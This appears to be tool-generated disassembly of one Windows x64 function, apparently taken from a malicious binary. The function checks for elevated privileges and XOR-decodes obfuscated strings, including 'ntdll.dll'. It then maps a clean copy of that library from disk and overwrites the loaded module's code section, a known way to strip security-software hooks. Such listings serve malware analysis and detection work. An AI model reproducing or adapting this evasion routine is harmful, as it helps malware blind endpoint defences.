Function at 0x140001cd0
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x14001f008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor esi, esi
mov ebx, esi
mov qword [rbp - 0x21], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x21]
lea edx, [rsi + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001d52
mov dword [rbp - 1], esi
mov dword [rbp + 0x27], 4
lea rax, [rbp + 0x27]
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 4]
lea r8, [rbp - 1]
lea edx, [rsi + 0x14]
mov rcx, qword [rbp - 0x21]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 1]
mov rcx, qword [rbp - 0x21]
test rcx, rcx
je 0x140001d61
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1400020c2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r12, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rax
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx]
mov eax, 0x1fc
mov ecx, dword [rax + rdi]
mov ebx, 0x190
add rbx, rdi
test cl, 1
jne 0x140001dca
or ecx, 1
mov dword [rax + rdi], ecx
mov word [rbx + 9], 0x117
mov dword [rbx], 0xd39f63db
mov dword [rbx + 4], 0x7bbd5bd
mov byte [rbx + 8], 0xd9
lea rcx, [0x140013ac0]
call fcn.1400024ac
nop
cmp byte [rbx + 0xa], 0
je 0x140001dfb
xor byte [rbx], 0xb5
xor byte [rbx + 1], 0x17
xor byte [rbx + 2], 0xfb
xor byte [rbx + 3], 0xbf
xor byte [rbx + 4], 0xd1
xor byte [rbx + 5], 0xfb
xor byte [rbx + 6], 0xdf
xor byte [rbx + 7], 0x6b
xor byte [rbx + 8], 0xb5
xor byte [rbx + 9], 0x17
mov byte [rbx + 0xa], 0
mov rcx, rbx
call fcn.140001230
mov r13, rax
mov qword [rbp - 0x21], rax
mov r9d, 0x18
lea r8, [rbp - 0x19]
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r14, qword [rbp - 0x19]
movdqa xmm0, xmmword [0x14001bbb0]
mov dword [rbp + 0x17], 0x89030606
mov dword [rbp + 0x1b], 0x378dfd33
mov dword [rbp + 0x1f], 0xb9551b07
mov word [rbp + 0x23], 0x8931
mov ecx, 0x158
mov eax, dword [rcx + rdi]
mov edx, 0x138
test al, 1
jne 0x140001ec3
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x1e], 1
lea rax, [rbx + 0x1d]
lea rcx, [rbp + 0x24]
cmp rbx, rcx
ja 0x140001e99
lea rcx, [rbp + 7]
cmp rax, rcx
jb 0x140001e99
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x17]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x1f]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp + 0x23]
mov word [rbx + 0x1c], ax
jmp 0x140001eb4
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x17]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x1f]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp + 0x23]
mov word [rbx + 0x1c], ax
lea rcx, [0x140013a90]
call fcn.1400024ac
nop
jmp 0x140001ec7
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x1e], 0
je 0x140001f48
xor byte [rbx], 0x6b
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x31
xor byte [rbx + 3], 0xd5
xor byte [rbx + 4], 0x5d
xor byte [rbx + 5], 0x89
xor byte [rbx + 6], 0xe9
xor byte [rbx + 7], 0x5b
xor byte [rbx + 8], 0x6b
xor byte [rbx + 9], 0x35
xor byte [rbx + 0xa], 0x31
xor byte [rbx + 0xb], 0xd5
xor byte [rbx + 0xc], 0x5d
xor byte [rbx + 0xd], 0x89
xor byte [rbx + 0xe], 0xe9
xor byte [rbx + 0xf], 0x5b
xor byte [rbx + 0x10], 0x6b
xor byte [rbx + 0x11], 0x35
xor byte [rbx + 0x12], 0x31
xor byte [rbx + 0x13], 0xd5
xor byte [rbx + 0x14], 0x5d
xor byte [rbx + 0x15], 0x89
xor byte [rbx + 0x16], 0xe9
xor byte [rbx + 0x17], 0x5b
xor byte [rbx + 0x18], 0x6b
xor byte [rbx + 0x19], 0x35
xor byte [rbx + 0x1a], 0x31
xor byte [rbx + 0x1b], 0xd5
xor byte [rbx + 0x1c], 0x5d
xor byte [rbx + 0x1d], 0x89
mov byte [rbx + 0x1e], 0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x27], rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbp - 0x29], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
movsxd rsi, dword [r14 + 0x3c]
add rsi, r14
xor eax, eax
movzx edi, ax
cmp ax, word [rsi + 6]
jae 0x140002063
lea r8, str..text
xor r13d, r13d
nop
movzx eax, di
lea rdx, [rax + rax*4]
movzx ecx, word [rsi + 0x14]
add rcx, rsi
lea rbx, [rcx + rdx*8]
mov rax, r13
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x140002052
cmp rax, 6
jne 0x140001ff0
mov dword [rbp - 1], r13d
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r14
lea r9, [rbp - 1]
lea r8d, [rax + 0x3a]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r15]
lea rcx, [rax + r14]
call fcn.140007d20
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r14
lea r9, [rbp - 1]
mov r8d, dword [rbp - 1]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x140001fd0
mov r13, qword [rbp - 0x21]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
call fcn.1400013e0
call fcn.1400015e0
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400020e0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call fcn.1400089e0
int3